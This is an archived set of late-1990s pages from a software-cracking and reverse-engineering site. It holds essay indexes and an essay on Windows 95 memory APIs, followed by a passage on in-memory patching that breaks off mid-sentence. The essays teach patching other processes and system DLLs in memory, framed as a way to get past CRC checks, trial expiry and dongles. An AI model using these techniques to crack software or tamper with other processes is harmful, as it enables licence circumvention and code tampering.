BEGINNERS: Awesome AW:


MOST STUPID PROTECTION OF
THE YEAR 1997!
Hardcoded and unencrypted registration codes: a touristic tour for
31 Dec 1997 Tristan
beginners

Most stupid protection 1997

16 Mar 1998 The Nameless BEGINNERS: Big tent, little circus Observations and Thoughts springing from an mIRC 5.3 crack

BEGINNERS: Menu disable and


26 Apr 1998 Kabhoet Dynamic Procedure Call and crack by the stupid way
active by Register Number

29 Jun 1998 XaVaX PhotoShop 5.0 / Digimarc 1.6.82 Commercial stupidity is alive & well

copy your own working serial


29 Jun 1998 cYnAppZ
number from the *.cfg file
16 Sep 98 Sanity cyberme.htm TU: Cracking an uninstaller ~ [Filemonitor & Deadlisting]
What Time Does the Library Open? A "Cinderella" protection for
02 Dec 98 Sojourner rhino.htm
beginners
24 Sep 99 LaptoniC rhino.htm Cracking Access Databases (Beating M$ with his own tools)

programmer's
our protections our tools Protect better
corner

You'r deep inside fravia's pages of reverse engineering, choose your way out!

Choose another page!

homepage links anonymity +ORC students' essays academy database bots wars
antismut tools cocktails javascript wars search_forms mail_fravia
Is reverse engineering illegal?

http://www.instinct.org/fravia/project7.htm (3 of 3) [2/7/2001 3:07:39 PM]


papers.htm +HCU 1998: special papers on reverse engineering

+HCU: Academy of reverse engineering


Founded by +ORC in April 1996

+HCU's PAPERS
Project start: Last update: Go to the [most recent] essays
March 1998 September 1999

Courtesy of Fravia's page of reverse engineering

Papers on software reverse engineering


arguments
Our own "papers"
Well, dear fellow crackers, reversers and
protectors (and readers), I'm sure you'll enjoy
the 1998 'shift': no more 'blind' cracking around.
We need good and powerful doucuments not only
to reverse the hell out of it... but to understand
what we are doing as well!
In fact: what is the purpose of our work? Why do
we crack? Did you ever stop and asked yourself
such questions?
I believe that we crack in order to spread
KNOWLEDGE!... I believe that we crack in
order to SURVIVE (in a society where all what
you should know is NOT teached and all what
you do not need to know is hammered inside
your brain :-)
I believe that we tackle difficoult tasks and that
we reverse code (and other things as well :-), in
order to TEACH! Show me other sites on the
web, apart from crackers' and (to a certain
extent) hackers' sites, that give you knowledge

http://www.instinct.org/fravia/papers.htm (1 of 6) [2/7/2001 3:07:54 PM]


papers.htm +HCU 1998: special papers on reverse engineering

like this for FREE, without asking anything more


than your (free) contribution... LEARN ALL
WHAT YOU CAN and give us in return THAT
WHAT YOU CAN... a very simple "magic" recipe
for development... on this web of ours.
Indeed I believe that we want people to develop,
to gain power and knowledge to build on our
shoulders for free... the more, the better
So we'll NEVER just spread around some
ready-made cracks (why should we?), on the
contrary: we will less and less publish 'cracks'
and more and more concentrate on HOW TO
DO things... therefore a "HCU papers" section
will be very important for REAL crackers and
reversers, and wont help leechers and lusers...
that's nice! In fact, let's utter it: we DO NOT
LIKE leechers and lusers... and we (firmly)
believe that only people that DO contribute have
a right to learn and grow and develop... that's
why we will ALWAYS be able to develop
ourselves... :-)

From Fravia's own private


"cracking posters" collection

"I'll be with you boys!"


(1941)

The +HCU PAPERS


(1998)

Now let's see if we can put some deeds where our mouth is... as usual a project like this one will florish
and prosper if many will contribute, will pepper out and die if you do not contribute and if you think it's a
smart move just to leech things out, without giving anything in exchange... you're not doing just that, are
you?

14 March 1998 __EXPERT__


Well, Iceman, for one, certainly was no leecher! his "paper" inaugurates this section... Enjoy!

http://www.instinct.org/fravia/papers.htm (2 of 6) [2/7/2001 3:07:54 PM]


papers.htm +HCU 1998: special papers on reverse engineering

More background readings

PHASE 1
Tweaking with memory in Window95 - An API approach -
(Things you need to know on our beloved/hated operating system)
by Iceman
14 March 1998

PHASE 2
In memory patching: three approaches
(how to introduce breakpoints in an automated debugger and other marvels)
by Stone
20 March 1998

PHASE 3
WIN32 - Inside Debug API
(Things you need to know: the mysterious CONTEXT structure)
by Iceman
20 March 1998

PHASE 4
The supression and resurrection of assembler programming.
(Recent programming history cracking for crackers! A "must read" paper)
by SLH
08 May 1998

08 May The resurrection of assembly


Masta ~ winasm_0.htm papers ~ fra_0118
98 programming - Essay nr. 0
11 May "Extending Softice serie" advanced
Iceman ~ iceext1.htm ~ fra_011A
98 ("Zauberreversing") papers
16 May The Bridge: In Pursuit Of Lost
SLH ~ hutch_61.htm papers ~ fra_011C
98 Knowledge
16 May Palmpilot reversing: Experience a brand papers
Tek ~ tek1.htm ~ fra_011D
98 new taste in cracking

http://www.instinct.org/fravia/papers.htm (3 of 6) [2/7/2001 3:07:54 PM]


papers.htm +HCU 1998: special papers on reverse engineering

21 May
SLH ~ hutquest.htm THE QUEST: Building the launch pad papers ~ fra_011F
98
25 May The resurrection of assembly
Masta ~ winasm_1.htm papers ~ fra_0121
98 programming - Essay nr. 1
29 May
SLH ~ hutch28.htm Software warriors through the warp papers ~ fra_0123
98
05 June Little essay about the various methods
Joa ~ crunchi1.htm papers ~ fra_0126
98 and viewpoints of crunching
05 June The Eye Of The Warrior (a "graphical" papers
SLH ~ hutch_65.htm ~ fra_0128
98 windows' paper)
10 June Little essay about the various methods
Joa ~ crunchi2.htm papers ~ fra_0129
98 and viewpoints of crunching II
10 June The iron fist (Keeping The Crackers
SLH ~ hutchif1.htm papers ~ fra_012A
98 Amused)
15 June
SLH ~ hutsting.htm Applying the sting papers ~ fra_012C
98
17 June Little essay about the various methods
Joa ~ crunchi3.htm papers ~ fra_012E
98 and viewpoints of crunching III
17 June Little essay about the various methods
Joa ~ crunchi4.htm papers ~ fra_012F
98 and viewpoints of crunching IV
Little essay about the various methods
10 July 98 Joa ~ crunchi5.htm papers ~ fra_0133
and viewpoints of crunching - V
Simulating User Input to Eliminate Nag papers
25 July 98 bb ~ bbnag1.htm ~ fra_013F
Screens
How to hook any API function in advanced
06 Sep 98 PNA ~ pna3.htm ~ fra_0149
kernel32.dll papers
Little essay about the various methods
16 Sep 98 Joa ~ crunchi6.htm papers ~ fra_014E
and viewpoints of crunching - VI
Dr.
23 Sep 98 ~ dvdfuhr.htm DIVX and DVD reversing papers ~ fra_0153
Fuhrball
21 Oct 98 Svd ~ bulga_1.htm Data-reverse-engineering - Lesson 1 papers ~ fra_015C
Victor Redirection Revisited -- Achieving
12 Dec 98 ~ porvbo1.htm Papers ~ fra_0172
Porguen Redirection Through API Spoofing
Little essay about the various methods
12 Dec 98 Joa ~ crunchi7.htm papers ~ fra_0175
and viewpoints of crunching VII
The Great Dead-Listing Excavations or advanced
20 Jan 99 SvD ~ svd_last.htm what we (could) see in disassembled ~ fra_0185
papers
code

http://www.instinct.org/fravia/papers.htm (4 of 6) [2/7/2001 3:07:54 PM]


papers.htm +HCU 1998: special papers on reverse engineering

How to dead The Great Dead-Listing Excavations or


advanced
Spring 99 SvD ~ list what we (could) see in disassembled ~ ****
papers
(ameliorated) code
CRC and how A CRC Tutorial & The c00l way to
Spring 99 anarchriz ~ papers ~ ****
to Reverse it Reverse CRC

Delphi Delphi Reverse Engineering DFM Files,


June 99 +Aitor ~ Windows RCDATA and Object papers ~ ****
reversing
Conversion Routines
Theory and
practice of An essay to understand how menus and advanced
June 99 +Spath ~ messages work, to be able to efficiently ~ ****
menus papers
reverse function-disabled programs.
reversing
28 June The succession: secrets of writing
SLH ~ hutch_su.htm papers ~ fra_xxxx
99 elegant and fast assembler
Adding sections to PE Files: Enhancing
10 July 99 c0v3rt+ ~ covert1.htm functionality of programs by adding papers ~ fra_xxxx
extra code
Pavel V.
16 July 99 ~ cryptunt.htm On cryptosystems untrustworthiness papers ~ fra_xxxx
Semjanov
Finding standard functions in
20 July 99 LaZaRuS ~ laza_s11.htm papers ~ fra_xxxx
Delphi/C++ Builder
Nolan Analysis of Key Generation Techniques papers
30 July 99 ~ tp_flex.htm ~ fra_xxxx
Blender within FlexLM (Unix reversing)
Attacks
against the
September advanced
+Spath ~ BEST chaos is definitely not randomness ~ ****
99 papers
encryption
algorithm
Adding
functionality A small example of the most interesting advanced
September
LaZaRuS ~ to the part of reverse engineering: Adding ~ ****
99 papers
Windows functionality to a program
Calculator

You are deep inside fravia's page of reverse engineering, choose your way out:

http://www.instinct.org/fravia/papers.htm (5 of 6) [2/7/2001 3:07:54 PM]


papers.htm +HCU 1998: special papers on reverse engineering

Programmer's corner Our Protections Packers & Unp

homepage links anonymity +ORC students' essays academy database


antismut bot wars tools cocktails search_forms mail_fravia
Is reverse engineering illegal?

(c) Fravia 1995, 1996, 1997, 1998, 1999. All rights reserved

http://www.instinct.org/fravia/papers.htm (6 of 6) [2/7/2001 3:07:54 PM]


iceman.htm: Tweaking with memory in Window95

Back to the HCU Papers

Tweaking with memory in Window95


- An API approach -

by Iceman

Intro
------

I decided to write this after I read NaTzGUL's tutorial called "How to


access memory of another process".This time want to take you deeper inside
Windows95 ,revealing some useful tricks.The basic fact is that if we want
to write good tools for reverse engineering on WIN32 hosted platforms we have
to take full control over the OS.That means system level programming
techniques such: virtual memory management,Debug API functions,Ring 0 programming
using VxD or Call gates,Image Manipulation functions.

So let's learn how this OS work!

My future projects are based on Ring 0 programing.I am especially


interested in Call gates and WIN32 debug API.Two of the most powerful
functions of WIN32 API are contained in debug API.They are GetThreadContext &
SetThreadContext.You can do amazing things using them,such as injecting
code and executing code in another process adress space.
I want to thank to Matt Pietrek for his articles about WIN32
platforms.Reading those was a pleasure and very instructive.In fact 90% of
my knowledge regarding system level programming in Windows was gained reading
his work.In my humble opinion Matt is one of the best official "reverse
engineer".Thank you,Matt,thank you for sharing knowledge with us!
Next,let's give Fravia the credit he deserves.His WEB site is a treasure
for knowledge seekers.Is the best page in reverse engineering business I ever
seen.
I know , I know my english is very bad.Please forgive me.
This essay is structured as below:

Chapter1:Short Introduction to Windows95 memory management


Chapter2:Tweaking with virtual memory functions
Chapter3.Short intro to Toolhelp32 functions
Chapter4.How do I:
4.1.Write self-modifiable code.
4.2.Modify the code pages of another process.
4.3.Modify functions inside system Dll's.

========================================================================

Short Introduction to Windows95 memory management


--------------------------------------------------

http://www.instinct.org/fravia/iceman.htm (1 of 11) [2/7/2001 3:07:59 PM]


iceman.htm: Tweaking with memory in Window95

I assume that the reader is familiar with process and threads functions
and have a basic knowledge on how Windows95,using the paging mechanism on
386+ processors,manage memory.Let's remember some facts:
1.Windows 95 implements a page based virtual memory system. It
uses a 32 bit linear addressing system.Internaly,all memory is managed in
4096 bytes segments called pages.The entire memory that CPU can address
in theory is called "address space".That's 4Gb.
2. In Windows95 each 32 bit application is provided with an
independent 4 Gb address space,regardless of how match phisycal memory is
installed in your computer.This address space is structured as below:

4Gb ------------------------
| |
| |
| VxD |
3Gb ------------------------
| System DLLs |
| MMF |
| Top W16 Global Heap |
2Gb ------------------------
| |
| |
| User process |
| area |
| |
| |
4Mb ------------------------
| Base W16 Global Heap|
0 ------------------------

The portion 0 to 4Mb is shared between processes.It usually contain


16 bit system dll's.The next region begin at 4Mb and ends at 2Gb.This is
the user process area.Each process have code ,data ,resources loaded in
this region.
The region is not shared! The third region begin at 2Gb and ends at
3 Gb.This region is shared between processes.Usualy the system load here
The system dll's .This region is also used to map Memory Mapped Files.The
MMF must be in a shared region because they are utilized to share data
between processes.Finaly , the last region begin at 3Gb and ends at 4Gb
Here the system loads Ring0 components (VxD).
When a executable image is loaded,the system loader maps the file
in the user process area starting with address 0x0040000 (4Mb).
This is the base address of the most PE files.
Of course ,an executable image can be rebased,so don't relay blindly on this
address.(Microsoft provides a set of functions for image manipulation.
This functions reside inside imagehlp.dll. Some of them can be
quite useful ,so don't miss them.

============================================================================

Tweaking with virtual memory functions


--------------------------------------

http://www.instinct.org/fravia/iceman.htm (2 of 11) [2/7/2001 3:07:59 PM]


iceman.htm: Tweaking with memory in Window95

Following functions are used for Virtual Memory Managemnt.They are part
of WIN32 API:
VirtualAlloc
VirtualFree
VirtualLock
VirtualUnlock
VirtualProtect
VirtualProtectEx
VirtualQuery
VirtualQueryEx

VirtualAlloc is used to allocate virtual memory in process address space.


VirtualFree is used to free virtual memory.
VirtualLock and VirtualUnlock are used for locking/unlocking pages in memory.
VirtualProtect and VirtualProtectEx are used to change protection
attributes of virtual memory pages.
VirtualQuery and VirtualQueryEx are used to query virtual memory pages.
Using this function you can retrieve all information you need about a memory
region.
VirtualProtectEx & VirtualQueryEx are extended versions of
VirtualProtect & VirtualQuery functions.They can be used to query and
modify protection attributes of memory pages in another processes address space.
Why bother with this functions? The answer is very simple.If you try to
write to a code page using WriteProcessMemory the function will fail. This
is because the OS always write-protect the code pages,protecting them from
being modified.Any attempt to write to a write protected page will generate a
Access Violation exception.

So , if I want to modify something inside a write-protected


page I must change it's protection attributes. Here is the step where
virtual memory functions can help.All you have to do is to change page
protection attributes with VirtualProtect or VirtualProtectEx.You have
to use VirtualProtect if you want to modify protection our own process
memory pages and VirtualProtectEx to work on another process.
Those function also saves old protection attribs., so then you finish
your work restore them.
You can use this method to:
1.Write self-modifiable code.
2.Modify the code pages of another process.
3.Modify functions inside system Dll's.
4.Read from read-protected areas.
5.Injecting and executing code into another process
address space.
This is not a limitative list.Just use your imagination!
Let's see now how you can modify protection attributes with
VirtualProtectEx:

BOOL VirtualProtectEx(

HANDLE hProcess,
LPVOID lpAddress,
DWORD dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);

http://www.instinct.org/fravia/iceman.htm (3 of 11) [2/7/2001 3:08:00 PM]


iceman.htm: Tweaking with memory in Window95

We need:
1.HANDLE hProcess: A handle to target process.The handle must have
PROCESS_VM_OPERATION access.See OpenProcess for further reference.(I
usually use OpenProcess with PROCESS_ALL_ACCESS to get all possible access rights)
2. LPVOID lpAddress: A pointer to the base address of the region of
pages whose access protection attributes are to be changed.(I usually use a
DWORD with a type cast)
3.DWORD dwSize: A dword that specify the size in bytes of region whose
protection attributes are to be modificated.If dwSize excedes a page
boundary both pages will change protection attributes.
4.DWORD flNewProtect:A dword that specify new protection atributes.This
can be a one of following flags:

PAGE_READONLY Enables read access to the committed region of pages.


An attempt to write to the committed region results
in
an access violation. If the system differentiates
between
read-only access and execute access, an attempt to
execute
code in the committed region results in an access
violation.
PAGE_READWRITE Enables both read and write access to the committed
region

of pages.
PAGE_WRITECOPY Gives copy-on-write access to the committed region of
pages.
PAGE_EXECUTE Enables execute access to the committed region of
pages.
An attempt to read or write to the committed region
results
in an access violation.
PAGE_EXECUTE_READ Enables execute and read access to the committed
region
of pages.
An attempt to write to the committed region results
in an access
violation.
PAGE_EXECUTE_READWRITE Enables execute, read, and write access to the
committed region of pages.
PAGE_EXECUTE_WRITECOPY Enables execute, read, and write access to the
committed region of pages. The pages are shared
read-on-write and copy-on-write.
PAGE_GUARD Pages in the region become guard pages. Any attempt
to read
from or write to a guard page causes the operating
system
to raise a STATUS_GUARD_PAGE exception, and turn off
the guard
page status. Guard pages thus act as a one-shot
access alarm.
The PAGE_GUARD flag is a page protection modifier.
An application uses it with one of the other page

http://www.instinct.org/fravia/iceman.htm (4 of 11) [2/7/2001 3:08:00 PM]


iceman.htm: Tweaking with memory in Window95

protection
flags, with one exception: it cannot be used with
PAGE_NOACCESS.
When an access attempt leads the operating system to
turn off
guard page status, the underlying page protection
takes over.
If a guard page exception occurs during a system
service,
the service typically returns a failure status
indicator.
PAGE_NOACCESS Disables all access to the committed region of pages.
An attempt to read from, write to, or execute in the
committed region results in an access violation
exception,
called a general protection (GP) fault.
PAGE_NOCACHE Allows no caching of the committed regions of pages.
The hardware attributes for the physical memory
should be set
to "no cache." This is not recommended for general
usage.
It is useful for device drivers; for example, mapping
a video
frame buffer with no caching. This flag is a page
protection
modifier, only valid when used with one of the page
protections
other than PAGE_NOACCESS.

5.PDWORD lpflOldProtect: A pointer to a DWORD to save old protection


attributes.

A handle to another process is easy to obtain.You can use several methods


for this:
1.Use CreateProcess to create target process.Then retrieve the handler
from PROCESS_INFORMATION structure.(basically you use the loader method here).
2.Use of ToolHelp32 functions.This method is more elegant than previous
one. The first step here is to retrieve a PID of target process.
Use CreateToolhelp32Snapshoot,Process32First and Process32Next functions.
After you have the PID use OpenProcess to obtain a handle to target
process.(Be sure to set access flags to PROCESS_ALL_ACCESS).Warning: Toolhelp32
functions
are not portable!
3.The methods described by NaTzGUL in his essay "How to access memory of
another process".
The rest of parameters are self-explanatory.Now let's modify the
protection attributes of first code page of target process.

HANDLE hTarget; // Handle to target process


DWORD codebase = 0x0040000; // Assuming image is based at
0x0040000
DWORD oldattr; // Here we will store old prot.
attribs

http://www.instinct.org/fravia/iceman.htm (5 of 11) [2/7/2001 3:08:00 PM]


iceman.htm: Tweaking with memory in Window95

VirtualProtectEx( hTarget ,
LPVOID(codebase), //Change attribs of
4096, // first code page
to
PAGE_EXECUTE_READWRITE, // enable read ,
write
&oldattr); // and execute
access.

//
// Do something useful here
//
//
VirtualProtectEx( hTarget ,
LPVOID(codebase), //Restore old attr.
4096, //
oldattr, //
&oldattr);

Querying the virtual address space is another important thing.By use of


VirtualQuery and VirtualQueryEx you can get various info about memory regions in a
process address space.
Fire up Soft-Ice and type Query.Do you like the screen now? What you can
see is a map virtual address space of target process.Every memory region
is listed there with some additional info.Not only Soft-Ice can do this.
You can too!By the way: A memory region from Virtual memory API point of view
is a region whose protection attributes , type and base allocations are the same.
Let's the API:

DWORD VirtualQueryEx(
HANDLE hProcess, // handle of process
LPCVOID lpAddress, // address of region
PMEMORY_BASIC_INFORMATION lpBuffer, // address of
//
information buffer
DWORD dwLength // size of buffer
);

The parameters:
1.HANDLE hProcess: Handle to target process.Must have
PROCESS_QUERY_INFORMATION
access flag set.
2.LPCVOID lpAddress: Pointer to se address of the region of pages to
be
queried.
This value is rounded down to the next page boundary.
3.PMEMORY_BASIC_INFORMATION lpBuffer pointer to a
MEMORY_BASIC_INFORMATION structure to receive region info.

typedef struct _MEMORY_BASIC_INFORMATION { // mbi


PVOID BaseAddress; // base address of region
PVOID AllocationBase; // allocation base address
DWORD AllocationProtect; // initial access protection
DWORD RegionSize; // size, in bytes, of region
DWORD State; // committed, reserved, free

http://www.instinct.org/fravia/iceman.htm (6 of 11) [2/7/2001 3:08:00 PM]


iceman.htm: Tweaking with memory in Window95

DWORD Protect; // current access protection


DWORD Type; // type of pages

} MEMORY_BASIC_INFORMATION;
typedef MEMORY_BASIC_INFORMATION *PMEMORY_BASIC_INFORMATION;

BaseAddress Points to the base address of the region of pages.


AllocationBase Points to the base address of a range of pages
allocated by the VirtualAlloc function. The page pointed
to by the BaseAddress member
is contained within this allocation range.
AllocationProtect Specifies the access protection given when the
region was initially
allocated. One of the following flags can be present, along
with the
PAGE_GUARD and PAGE_NOCACHE protection modifier flags.
RegionSize Specifies the size, in bytes, of the region beginning at
the base
address in which all pages have identical attributes.
State Specifies the state of the pages in the region.
One of the following states is indicated:
MEM_COMMIT Indicates committed pages for which physical
storage
has been allocated, either in memory or in
the paging
file on disk.
MEM_FREE Indicates free pages not accessible to the
calling
process and available to be allocated. For
free pages,
the information in the AllocationBase,
AllocationProtect,
Protect, and Type members is undefined.
MEM_RESERVE Indicates reserved pages where a range of the
process's
virtual address space is reserved without
allocating any
physical storage. For reserved pages, the
information in
the Protect member is undefined.

Protect Specifies the access protection of the pages in the region.


One of the
flags listed for the AllocationProtect member is specified.
Type Specifies the type of pages in the region. The following
types
are defined:
MEM_IMAGE Indicates that the memory pages within the
region are
mapped into the view of an image section.
MEM_MAPPED Indicates that the memory pages within the
region are
mapped into the view of a section.
MEM_PRIVATE Indicates that the memory pages within the

http://www.instinct.org/fravia/iceman.htm (7 of 11) [2/7/2001 3:08:00 PM]


iceman.htm: Tweaking with memory in Window95

region are
private (not shared by other processes).
4.DWORD dwLength: Specifies the size, in bytes, of the buffer pointed to
by the lpBuffer parameter.
Usually set to sizeof(MEMORY_BASIC_INFORMATION).

Now let's retrieve this information for the code section of target
process:

HANDLE Hare; // Handle to target process


DWORD codebase = 0x0040000; // Assuming image is based at
0x0040000
MEMORY_BASIC_INFORMATION mbi; //
VirtualQueryEx(hTarget,
LPCVOID(codebase),&mbi,sizeof(MEMORY_BASIC_INFORMATION);

After VirtualQueryEx returns you have in mbi all information you


need about code memory region of target process.
To retrieve info about all memory regions of a process address space all
you have to do is to start enumerate all memory regions from 0 to 4Gb.Initially call
VirtualProcessEx with
LPCVOID lpAddress set to 0 .After the function returns start iterate calls
to VirtualProcessEx with LPCVOID lpAddress incremented by the size of region
it queried previously.
Be sure to save away contents of MEMORY_BASIC_INFORMATION structure before
next call.Usualy I use a do - while loop.
=============================================================================

3.Short intro to Toolhelp32 functions


-------------------------------------

Nice set of functions!Unfortunately they are NOT portable to other


implementations
of WIN32 such as WIN32s or WINDOWS NT.Those functions are designed to
retrieve info about
processes and threads running in your system.They are very useful to design
debuggers for
WIN95 environment.
The keyword is "snapshot".A snapshot is an object in OS memory that lists
all
possible information about processes and thread runing.Snapshoots are
created with
CreateToolhelp32Snapshoot functions.This function returns a handle that you
can use for
future access to snapshot object.Destroying the snapshot object is very
simple.All
you have to do is to call CloseHandle function.The snapshot objects are
continue updated
by OS to reflect the real state of system,so you don't have to worry that
the information
is outdated.
They also provide an easy method to create an "Attach to process"
function.A good
tool must provide a way to dynamically attach to other processes.Using this
functions is

http://www.instinct.org/fravia/iceman.htm (8 of 11) [2/7/2001 3:08:00 PM]


iceman.htm: Tweaking with memory in Window95

very easy to do it.


Those functions resides in Kernel32.dll,but they are not exported through
kernel32.lib
I think that in Visual C they are exported through tlh32.lib.You must also
locate the
appropriate header file.The linker does not link implicitly with
tlh32.lib!You have to add
the lib to your project.
The API:
CreateToolhelp32Snapshoot
Heap32First
Heap32Next
Heap32ListFirst
Heap32ListNext
Module32First
Module32Next
Process32First
Process32Next
Thread32First
Thread32Next
Toolhelp32ReadProcessMemory

After you use CreateToolhelp32Snapshoot to create system snapshot you can


use
other functions to retrieve the info.
Process32First & Process32Next are used to walk the process list in
snapshoot.They
return process information in a PROCESSENTRY32 structure.Use
Process32First to get info
about the first process,then Process32Next to retrieve info about
subsequent processes.
Use GetLastError to retrieve the error status.
This functions are the subject of one of my future essays,so I don't
present them in
details here.They are very simple to use.I put this short section here only
to provide you
an idea how to retrieve some really cool info.
============================================================================
====================

How do I....
------------

1.Write self modifiable code?

A. Call VirtualProtect on code pages you want to modify.


DWORD flNewProtect must be PAGE_WRITECOPY.
B. Write to code pages.
C.Call VirtualProtect on code pages you want to modify to
restore old attribs.(PAGE_EXECUTE)
D.Call FlushInstructionCache to empty the invalidate
instruction cache.

http://www.instinct.org/fravia/iceman.htm (9 of 11) [2/7/2001 3:08:00 PM]


iceman.htm: Tweaking with memory in Window95

This step is required because this portion of code may be


already
in cache memory.

2.Modify the code pages of another process(single thread).


A.Get a handle to target process
B.Get handle of target process main thread.
C.Stop thread using SuspendThread.
D.Call VirtualProtectEx on code pages you want to modify.
DWORD flNewProtect must be PAGE_READWRITE.
E.Save away the code pages (not required. may you don't need
them anymore.Use ReadProcessMemory
F.Use WriteProcessMemory to write to target pages.
G.Call VirtualProtectEx on code pages you want to modify to
restore old attribs.(PAGE_EXECUTE)
H.Resume thread using ResumeThread.

3.Modify functions inside system Dll's

This is can be very dangerous.Write something wrong inside


kernell32.dll
,for example,and BYE-BYE Windows.But,sometimes it may be very useful
that a
WIN API function to return without doing nothing,to return faked
values,or to
do anything but not what was supposed to do.Please take a look at
Madmax's essay
"Cracking using KERNEL32.DLL??" in Fravia's pages of reverse
engineering
to get
the point. He chose to patch the file kernel32.dll itself.I don't
like
this
method.I want as far as possible my system files unmodified.So I have
to
tweak
with memory.Let's see how:

A. Use GetModuleHandle to get a handle to Kernel32.dll


B. Use GetProcessAdress to get the address of the function we
want to patch.
C.Call VirtualProtect on code pages you want to modify.
Use value returned by GetProcessAdress as LPVOID lpAddress
parameter.DWORD flNewProtect must be
PAGE_EXECUTE_READWRITE.
D.Modify (patch the function). Write some code there.Anything
you want.I keep hoping that you know what are you doing!
E.Call VirtualProtect to restore previous protection
attributes.
Enjoy your new kernel!
Let's see some code.We want to patch

HANDLE hKernel32;

http://www.instinct.org/fravia/iceman.htm (10 of 11) [2/7/2001 3:08:00 PM]


iceman.htm: Tweaking with memory in Window95

DWORD oldprot;
hKernel32=GetModuleHandle("kernel32.dll");
VirtualProtect(GetProcessAdress( hKernel32,"GetDriveTypeA"),4096,
PAGE_EXECUTE_READWRITE, &oldprot);
//
//
//Write new code
//
VirtualProtect(GetProcessAdress( hKernel32,"GetDriveTypeA"),4096,
oldprot, &oldprot);

As an exercise,try to make this function to say that your HDD is a


ramdisk.
Note that the small code snippet presented above does not perform ANY
error checking.This is bad.This is very bad!I suggest an
extensive error checking and or exception handling when you
play with memory.For example if somehow the first call to
VirtualProtect fails then trying to access that memory range
to write will generate a superb AccessViolation Exception.It
will crash into pieces.I also make intensive use of
IsBadWritePtr,IsBadCodePtr,IsBadReadPtr API functions.
So please, do always !at least! a basic error checking!
============================================================================
===================

Final Notes
-----------

1.Any corrections and additions are wellcomed.Please append them at the


end of
this document and also include your name (or your nickname ).Slightly
editing minor mistakes
and typos is admitted in-place and without notice.
2.You can contact me at folowing e-mail adress ice_man81@hotmail.com

You are deep inside fravia's page of reverse engineering, choose your way out:

Back to the HCU Papers

homepage links search_forms +ORC students' essays academy database


reality cracking how to search javascript wars
tools anonymity academy cocktails antismut CGI-scripts mail_fravia+
Is reverse engineering legal?

http://www.instinct.org/fravia/iceman.htm (11 of 11) [2/7/2001 3:08:00 PM]


stone1.htm: In memory patching: three approaches

In memory patching: three approaches


(how to introduce breakpoints in an automated debugger and other marvels)

by Stone
(20 March 1997)

Advanced Cracking Papers

Courtesy of fravia's page of reverse engineering

A very good essay by Stone, a great cracker and one of the few fine reversers around that produces his own VERY GOOD
TOOLS.
This essay has a very high theoretical value and should IMO be read by ALL reversers: you'll find inside it matters like
"how it's possible to introduce breakpoints in an automated debugger", "making the target load a DLL for me"... and other
marvels. Stone intends to update this work in fieri, therefore your contributions on all these matters are welcomed. Enjoy!
(Beginners shouldn't touch this stuff IMO)

In memory patching

Three approaches
by Stone
20 March 1998

After reading MadMax's essay on kernel patching I decided that perhaps


it was time for an essay on "in memory patching". Contrary to the general
+HCU philosophy my approach will be purely theoretical - the sourcecode I
provide will serve as an example for you to build on.

Is something preventing a patch? Is your target encrypted, packed,


CRC'ed or you need the program to run sometimes with the patch applied
sometimes without (A game-trainer for instance).Wouldn't you just love
if you could patch the program in memory after it loaded, unpacked, did
the CRC checks etc.?
You can. In the dos days we had TSR's to do this job. In the
windows world it's a bit more difficult as the programming interface (Win32
API) is dynamic in contrast to dos's static interupt system. However new
methods which in many ways are similar to TSR's are now avaible.

Kernel patching as MadMax pointed out is generally a bad idea. We need a


more gentle approach. Which critereas would we like our solution to conform
to?
The critereas I'll use are:

http://www.instinct.org/fravia/stone1.htm (1 of 8) [2/7/2001 3:08:04 PM]


stone1.htm: In memory patching: three approaches

1) The approach should perform ok in terms of compatability. That is


work on both NT and 95 and hopefully on future versions as well.

2) The operating system should not suffer any long term effects of the
crack. That is after termination of the target the OS should be left
unchanged.

3) Only ring 3 measures should be used. (Some of the API-functions I'll


use from ring 3 will actually switch to ring 0, but atleast there will be
no foreign code introduced at ring 0)

Common ground
Our immediate problem is that in a preemptive operating system like
windows each process runs in it's own addressing space. Each time that the
operating system switches to another process the virtual mapping is changed
to fit that of the current process.
The whole idea with memory patching is providing means of patching the target
in it's addressing space at a certain time (after unpacking, CRC'ing or
whatever is done). However since a criterium of the memory patch is that we
can't patch the operating system nor the program itself we need to find a way
of gaining access to the target addressing space from another process.

The next problem we got is one of timing. Obviously the target needs to
be patched after the CRC check has been performed or after it is unpacked
in memory. And possibly it needs to be unpatched again to pass later
checks. In other words we need a reliable trigger mechanism. It is in this
respect that the three methods I'll present here differ.

The loader approach


The critical assumption I'll make here is that the USER of the program
can tell us how to time the patch thru another program.
This basically means we assume that the user can:
1) Identify when patching is appropriate.
2) Switch to another program to activate.

About the first assumption it can be said - if it's a trainer this will
never be a problem. Obviously the user will know when he want's to have
infinate lives. Often a messagebox or some other visable sign shows itself
when a patch is needed. E.g. A messagebox saying "Insert correct CD in
drive and press OK"
It'd be easy to write a doc saying that when this occurs the
dear user should press OK in another window first, and then in the
target's obnoxious messagebox. However this is a serious shortcomming.
Who said the program will actually let the user make a retry? Most 30-day
trials tell the user the program has expired and the just exit or get into
trial mode or whatever.
Perhaps many different locations has to be patch at many different time
making user-controlled patching a cumbersome solution.

On assumption 2 can it be said that many games don't like switching


tasks and it's not likely that users will enjoy having to switch out of

http://www.instinct.org/fravia/stone1.htm (2 of 8) [2/7/2001 3:08:04 PM]


stone1.htm: In memory patching: three approaches

their game to get a new handful of bullets or whatever.

Let's get a bit more technical. Windows is so nice to provide us with an


interface to write in other processes addressing space. The API needed
is: kernel32!WriteProcessMemory
Taking a closer look at this you'll find that what it actually does
utilize Windows's int 2eh interface to switch to ring 0 meaning that it
has ring 0 priveledges and thus is able to override the page protection.
However the interface has build in a security feature so you cannot override
ring 0 data/code. (The int 2eh interface is for NT - I figure Windows 95
does something similar but I havn't checked it. Anyways the result is the
same)

For WriteProcessMemory to work we need to identify by handle which


process we want patched. IMHO the best to find such a handle is to create
the target process yourself - that is do a good old fashioned EXEC from
within your patch/trainer code.

The API is Kernel32!CreateProcessA


Ofcause there are different means of finding process handles.

To synthetize a in-memory-patcher of this kind:


CreateProcessA (Target)
Wait for the user to say apply patch - e.g. amessageboxWriteProcessMemory

Sourcecodes at:
http://www.one.se/~stone/general/trainnt.zip (or something)
----------------------------------------------------------------------

The API-Hook/Debug Approach

Obviously the assumptions made for the Loader Approach can be too
restrictive. For instance 30-day trials often exit prior to offering the
user any obvious point of introducing a patch. So does a dongle. Players
might not like to switch task out of their beloved game to get another
10 bullets or whatever. What we really need is the target to trigger the
patch and this section is a way of doing this.

The whole idea here is to hook an API-call, and make it perform to our
desire. That can be return fake values under certain circumstances
it could be to patch the main program or it's dll's in memory. In short
